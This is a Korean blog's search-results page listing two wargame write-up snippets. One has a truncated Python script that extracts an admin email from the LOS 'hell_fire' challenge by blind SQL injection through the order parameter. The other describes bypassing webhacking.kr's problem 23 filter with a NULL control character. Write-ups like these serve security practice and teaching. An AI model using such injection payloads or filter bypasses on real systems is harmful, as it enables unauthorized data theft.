고퍼

23번 검색 결과

해당 글 2건

LOS :: 23번 HELL_FIRE

WRITE UP 1234567891011121314151617181920212223242526272829import requests url = "http://los.rubiya.kr/hell_fire_309d5f471fbdd4722d221835380bb805.php"session = {'PHPSESSID':'MY_SESSION'}data = {} flag="" print("[∞] flag : ",end='') for i in range(1,29): a=0 b=126 while b-a!=0: center = a+(b-a)//2 data['order']="id='admin' and ord(mid(email,"+str(i)+",1))>"+str(center)+" desc" res = requests.get(u..

Wargame/LOS(rubiya) 2018. 8. 23. 10:50

[Webhacking.kr]23번

23번 문제를 클릭하면 나오는 화면이다. 아래 글을 보면 알 수 있듯이 우리가 행해야할 미션은 를 넣어야 하는것이다. 소스를 봐도 특별한것이 없으니 저걸 한번 그대로 넣어보자 no hack? 필터링 된다는것을 알 수 있다. 어떤것이 필터링되는지 여러가지를 쳐본 결과 미션에 해당되는 문장의 단 두글자라도 잇게되면 필터링에 걸린다 (특수문제 제외) 딱 생각난것이 주석이었기 때문에 모든 문자 사이에 주석을 달아보았다. ..... 주석이 그대로 들어간다. 그럴것 같았지만 혹시나 했더니 역시나... 출력되지 않는 문자. 즉, 제어문자를 이용해야할 필요가 있다. (http://g0pher.tistory.com/211) NULL이다.

Wargame/webhacking.kr 2017. 7. 31. 03:36